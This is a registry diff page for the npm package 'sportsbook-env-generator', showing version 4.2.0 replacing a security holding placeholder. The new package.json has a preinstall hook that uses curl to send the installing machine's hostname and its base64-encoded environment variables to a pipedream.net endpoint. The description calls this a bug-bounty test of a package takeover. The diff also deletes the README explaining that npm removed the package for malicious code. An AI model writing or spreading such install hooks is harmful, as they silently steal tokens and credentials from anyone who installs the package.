sportsbook-env-generator 0.0.1-security → 4.2.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of sportsbook-env-generator might be problematic. Click here for more details.

package/generator.js ADDED
@@ -0,0 +1,5 @@
1
+ function helloNpm() {
2
+ return "hello NPM"
3
+ }
4
+
5
+ module.exports = helloNpm
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "sportsbook-env-generator",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "4.2.0",
4
+ "description": "This is a test for bug-bounty of an NPM package takeover",
5
+ "main": "generator.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "/usr/bin/curl --data 'sportsbook-env-generator=executed&version=4.2.0' 'https://4770b469d9098abf5ea8408d74fdbbff.m.pipedream.net/sportsbook-env-generator/$(hostname)?data=$(env | base64)"
9
+ },
10
+ "author": "4bg0p@wearehackerone.com",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=sportsbook-env-generator for more information.